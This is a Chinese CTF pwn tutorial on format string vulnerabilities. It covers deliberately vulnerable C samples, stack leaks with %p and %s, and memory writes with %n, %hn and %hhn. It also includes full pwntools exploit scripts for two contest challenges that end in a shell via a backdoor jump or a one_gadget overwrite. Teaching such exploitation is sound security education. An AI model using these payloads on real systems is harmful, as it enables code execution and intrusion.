奇安信攻防社区-CTF-pwn 技术总结（2）

CTF-pwn 技术总结（2）

格式化字符串漏洞学习

CTF-pwn 技术总结（2）
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格式化字符串漏洞
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### 格式化字符串函数

常见的有格式化字符串函数有

- 输入： scanf
- 输出：

| 函数 | 基本介绍 |
|---|---|
| printf | 输出到 stdout |
| fprintf | 输出到指定 FILE 流 |
| vprintf | 根据参数列表格式化输出到 stdout |
| vfprintf | 根据参数列表格式化输出到指定 FILE 流 |
| sprintf | 输出到字符串 |
| snprintf | 输出指定字节数到字符串 |
| vsprintf | 根据参数列表格式化输出到字符串 |
| vsnprintf | 根据参数列表格式化输出指定字节到字符串 |
| setproctitle | 设置 argv |
| syslog | 输出日志 |
| err, verr, warn, vwarn 等 | 。。。 |

### 格式化字符串漏洞成因：

printf()函数的调用格式为:

```c#
printf("<格式化字符串>", <参量表>);
```

但有些人为了省事，直接让printf打印一个变量的内容，导致了漏洞的产生，这种漏洞就被称为格式化字符串漏洞。

正确写法：

```c#
char str[100];
scanf("%s", str);
printf("%s",str);
```

导致漏洞产生的写法:

```c#
 char str[100];
 scanf("%s", str);
 printf(str);    
```

因为当用户输入的是格式化字符串时，程序会打印出栈上的内容，这就造成了栈内存被泄露。

当用户输入多个%s时，程序大概率会奔溃，因为如果对应的变量不能够被解析为字符串地址，那么程序就会直接崩溃。

### 利用方法：

#### 泄露栈上内容：

在存在格式化字符串漏洞的地a：

```c#
利用 %x来获取对应栈的内存，但建议使用%p，可以不用考虑位数的区别。
利用 %s来获取变量所对应地址的内容，只不过有零截断。
利用 %order$x 来获取指定参数的值，利用%order$s来获取指定参数对应地址的内容。
```

示例1：

```c#
#include<stdio.h>

int main()
{
  char a[100];
  scanf("%s",a);
  printf(a);
  return 0;
}
```

编译时，编译器给出了警告：没有格式化字符串参数。

![image-20211230160352110](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-08e12a5a0ed34df1afee365e0645e0dbb42e18c4.png)

可以看到当我们输入多个%p（用点隔开）时，栈上的内容被打印出来了：

![image-20211230160638942](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-4597704a2705a1f7b5d17eb519feaaba6fd5624b.png)

可以看到当我们输入多个%s时，程序崩溃了，这是因为栈上这个位置的变量不能被解析成字符串：

![image-20211230160923453](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-86a4ed0022c526935609db16446f7f3d730cec9b.png)

示例2：

```c#
#include <stdio.h>

int main() {
  char s[100],str[20] = "hellopwn";
  int a = 0x101, b = 0x22222222, c = -1;
  char* ptr = str;
  scanf("%s", s);
  printf("%p.%p.%p.%p.%s\n", &a, &b, &c, ptr, s);
  printf(s);
  return 0;
}
```

![image-20211230161022433](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-dea25f1064c325bace458a3fce8400e047f3edce.png)

当我们输入多个%p时，我们发现变量a，b，c的值通过格式化字符串漏洞被泄露出来了，我们也可以知道a在第七个%p被打印出来，b和c在第八个，ptr在第九个（因为是小端序的原因c在高位，b在低位）：

![image-20211230164248574](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-e554bed499c4a2b33329efefd84b424f71a55869.png)

我们也可以通过%order$x打印出特定位置变量的值：

![image-20211230164730162](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-805663a8deb4c3d725ae1c8a38e61f4f7aa8d175.png)

#### 覆盖内存：

格式化字符 **%n** ，在printf的参数中存在%n的话，会将%n前打印出来的字符个数保存到一个int变量内

示例1：

```c#
#include <stdio.h>

int main()
{
  int val;
  printf("blah %n blah\n", &val);
  printf("val = %d\n", val);
  return 0;
}
```

因为%n前打印了（blah+空格一共5个字符），所以val变量的值被赋成5：

![image-20211230194143972](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-41ea880150b14b83c3b35ae8cae9b1f9826bf99e.png)

我们可以通过下面这个公式，取得覆盖任意地址变量的目的：

```c#
%[num]c+ %[order]$n + [填充字符] + [覆盖的地址]
```

其中 **\[order\]** 为 payload填入栈时，**\[覆盖的地址\]** 位于格式化字符的第几个参数；

**\[num\]** 为 要修改的值 的10进制数；

**\[填充字符\]** 是为了让这个 payload大小满足4字节倍数或8字节倍数（取决于32/64位程序）；

单单这样说可能难以理解，具体到下面这个示例上：

示例2：

```c#
#include <stdio.h>

int main() {
  int flag = 0x1234;
  char s[100];
  printf("%p\n", &flag);
  scanf("%s", s);
  printf(s);
  if(flag = 0xdead)
    printf("\ngood job!\n");
  return 0;
}
```

本题我们想覆盖flag的值为0xdead，并且题目已经告诉我们flag在栈上的地址

首先我们已经可以明确 **\[num\] = 0xdead = 57005**；

通过在printf下断点,然后输入8个a，在gdb中：

![image-20211230220135061](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-13ef7d0ec2e486ed1a49829aef258dad51f96495.png)

我们可以发现我们输入的字符串位于栈上第三位，**因为64位程序是通过6个寄存器和栈共同传参的，并且由于格式化字符串起始地址作为printf函数的第一个参数，所以它是存放在rdi寄存器中，剩下的RSI、RDX、RCX、R8、R9这5个寄存器会接着存放其他参数，其中RSI存放着格式化字符串的第一个参数的值。所以从栈顶第一位开始是格式化字符串中的第6个参数**， 所以本题中输入字符串位于格式化字符串的第 5 + 3 = 8 个参数。

所以 **\[覆盖的地址\]** 至少位于格式化字符的第8个参数,即 **\[order\] &gt;= 8**,并且因为payload前半部分为 **%57005c%\[order\]$n(\[order\]&gt;=8)** ,长度至少为11即超过8但小于16，所以 **\[order\] 应该为 10**，故**payload = %57005c%10$n + \[填充字符\] + \[覆盖的地址\]** ,很明显填充字符的个数为 16-12 = 4，这样我们就可以写出完整的Exp了：

```python
from pwn import *
context.log_level = 'debug'
p = process('./fmt_test4')

flag_addr = int(p.recvline().strip(), 16)       #接收flag地址
print('flag_addr: ' + hex(flag_addr))
payload = '%57005c%10$naaaa'+ p64(flag_addr)
p.sendline(payload)

p.interactive()
```

执行Exp

我们就能修改flag为0xdead了：

![image-20211230222659695](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-f05c5beb23046103e45cc9847356e6fa52311903.png)

![image-20211230222744232](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-f7406d1849851dcb79541f87535455b33a294848.png)

除了%n可以覆盖四字节以为，我们还可以利用 %hhn 向某个地址写入单字节，利用 %hn 向某个地址写入双字节。具体演示看下面的例题。

### 漏洞检测：

可以下载一款IDA插件 - **LazyIDA** 来检测程序是否存在格式化字符串漏洞，对于一般的格式化字符串漏洞都能检测出来。

下载地址:

```php
https://github.com/L4ys/LazyIDA
```

### 真题演示：

#### 例一 PWN梦空间-snow

题目来自2021春秋杯秋季赛

![image-20220130163323283](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-e554b44a693df54af5b4845209938c9f15ec8d67.png)

![image-20220130163459561](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-59acc4fde500d8d5cba1abe3da4b3086cb08dc68.png)

![image-20220130163156490](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-b29851dc351ab26d59bb1f2bf678efdf4c73746e.png)

![image-20220130170119300](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-3e17a0ff478470629764191d6a8356ab682fd0cb.png)

![image-20220130163757240](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-24d2b17a297c32cef24238829613beb0074df6fb.png)

##### 思路：

利用插件 **LazyIDA** 可以发现程序存在格式化字符串漏洞，但是仅能利用一次。并且通过checksec和gdb命令**vmmap**发现，程序代码段.text为**RWX段**（可读、可写、可执行），并且程序还存在后门函数**system('/bin/sh')**,那么我们就可以利用格式化字符串漏洞将main函数汇编改为 **jmp 0x4008b7**，让程序跳转并执行后门函数。

利用格式化字符串的任意地址写功能，强制修改main函数的汇编代码，将 0x4008b0 处的 **mov eax,0** 更改为 **jmp 0x4008b7**，只需要改动2个字节`EB 05`，也就是十进制数1515。

![image-20220130164105620](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-57dac10f207746af9993da09936a90975205cb69.png)

##### EXP：

```python
from pwn import *
context.log_level = 'debug'

p = process('./snow')
#r = remote(, )
e = ELF('./snow')

def s(content):
  p.send(content)

def sl(content):
  p.sendline(content)

def sla(signal, content):
  p.sendlineafter(signal, content)

sla('you?\n',b'%1515c%43$naaaa')
p.interactive()
```

#### 例二 logging

题目来自某高校校赛

![image-20220130153603544](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-7fb39f8b39e913c2842c1d3f69822300b0227d0d.png)

![image-20220130153229541](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-49a107895d44682d7638102c78e5c33ea6c75a29.png)

![image-20220130153247794](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-117cfdff398fe38dc384af9d0fda919b2a693196.png)

##### 思路：

本题是一个保护全开的无限循环的格式化字符串漏洞题，可以无限次的泄露地址。所以依次泄露出**main函数返回地址**、**rbp的值**以及**logging函数返回地址**，计算出**libc基址**、**程序基地址**、**保存main以及logging函数返回地址的栈地址**，再利用格式化字符串覆盖值的功能先将main函数的返回地址覆盖成**one\_gadget地址**，然后再将logging函数的返回地址覆盖成main函数的返回地址使之跳出循环，就能获取shell了。这里不能直接覆盖logging函数的返回地址为one\_gadget,因为libc的地址与程序地址差距太大需要覆盖多次，而覆盖一次logging函数就会导致不能再利用格式化字符串漏洞。

##### EXP：

```python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'

#p = process("./log1")
#gdb.attach(p,"b *$rebase(0x9cd)")

def leak(payload):
    p.recvuntil("RUSH B~\n")
    p.send(payload.ljust(32,'a'))
    leakaddr = int(p.recvuntil("aaaaaaaaaaaaaaaaaaaaaaa")[9:-23],16)
    return leakaddr

def cover(num, save_ret, step): #写入的数字、栈保存返回地址的位置、覆盖的字节数
    print("need print num:" + hex(num))
    a_num = 16 -(6 + (4 - step) + len(str(num)))
    p.recvuntil("RUSH B~\n")
    if step == 1:
        p.send(('%'+ str(num) + 'c%20$hhn' + "a" * a_num + p64(save_ret)).ljust(32,'a'))
    elif step == 2:
        p.send(('%'+ str(num) + 'c%20$hn' + "a" * a_num + p64(save_ret)).ljust(32,'a'))
    log.success('set ret success!')

#leak libc func ->libc_base->one_gadget
main_ret = leak('AAAA%27$p')
libc_main_addr = main_ret - 240
print("libc_main:" + hex(libc_main_addr))

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc_base = libc_main_addr - libc.symbols['__libc_start_main']
log.success("libc_base:" + hex(libc_base))

'''
sys_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + libc.search("/bin/sh").next()
log.success('sys_addr:' + hex(sys_addr))
log.success('binsh_addr:' + hex(binsh_addr))
'''

one_gadget = 0xf1247
one_addr = libc_base + one_gadget
log.success('one_addr:' + hex(one_addr))

#leak rbp(stack_addr) -> save_ret_addr
rbp = leak('AAAA%16$p')
save_logging_ret = rbp  - 0x48
save_main_ret = rbp + 0x8
log.success('save_logging_ret:' + hex(save_logging_ret))
log.success('save_main_ret:' + hex(save_main_ret))

#leak ret_addr -> calculate num 
logging_ret = leak('AAAA%17$p')
code_base = logging_ret & 0xfffffffff000
leave_addr = 0x9E7 + code_base
log.success("logging_ret:" + hex(logging_ret))
log.success("leave_addr" + hex(leave_addr))

#set main_ret = one_gadget
num = int(hex(one_addr & 0xff0000)[:-4],16) - 3
cover(num, save_main_ret + 2, 1)
num = (one_addr & 0xffff) - 3
cover(num, save_main_ret, 2)

#set logging_ret = leave --> ret to main_ret
num = (leave_addr & 0xffff) - 3
cover(num, save_logging_ret, 2)

p.interactive()
```

### pwntools pwnlib.fmtstr 模块

```python
pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
```

#### 参数：

- **offset** ( [*int*](https://docs.python.org/3.8/library/functions.html#int) ) – 您控制的第一个格式化程序的偏移量
- **writes** ( [*dict*](https://docs.python.org/3.8/library/stdtypes.html#dict) ) – 带有 addr, value 的字典`{addr: value, addr2: value2}`
- **numbwritten** ( [*int*](https://docs.python.org/3.8/library/functions.html#int) ) – printf 函数已写入的字节数
- **write\_size** ( [*str*](https://docs.python.org/3.8/library/stdtypes.html#str) ) – 必须是`byte`,`short`或`int`. 告诉您是否要逐字节写入，short by short 或 int by int（hhn，hn 或 n）
- **溢出**( [*int*](https://docs.python.org/3.8/library/functions.html#int) ) – 为减少格式字符串的长度，可以容忍多少额外溢出（大小为 sz）
- **strategy** ( [*str*](https://docs.python.org/3.8/library/stdtypes.html#str) ) – 'fast' 或 'small' （'small' 是默认值，如果有很多写入，可以使用 'fast'）

#### 返回值：

**用于执行所需写入的有效负载**

#### 例子：

```php
>>> fmtstr_payload(1, {0x0: 0x00000001}, write_size='byte')
b'%1c%3$na\x00\x00\x00\x00'
>>> fmtstr_payload(1, {0x0: b"\xff\xff\x04\x11\x00\x00\x00\x00"}, write_size='short')
b'%327679c%7$lln%18c%8$hhn\x00\x00\x00\x00\x03\x00\x00\x00'
```

感兴趣的小伙伴还可以去看看pwndbg的官方文档，里面还有很多其他的关于格式化字符串漏洞利用的函数，使用它们可以让你在格式化字符串漏洞的利用上更加轻松顺手。

总结
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格式化字符串的利用非常灵活，不仅仅是上面例题所说的几种利用方法，但是其应对方法的核心是不变的，只要熟练掌握原理就没问题。比赛中它一般作为题目的一部分出现，往往还要结合很多其他的知识才能完成。

发表于 2022-02-08 09:38:15
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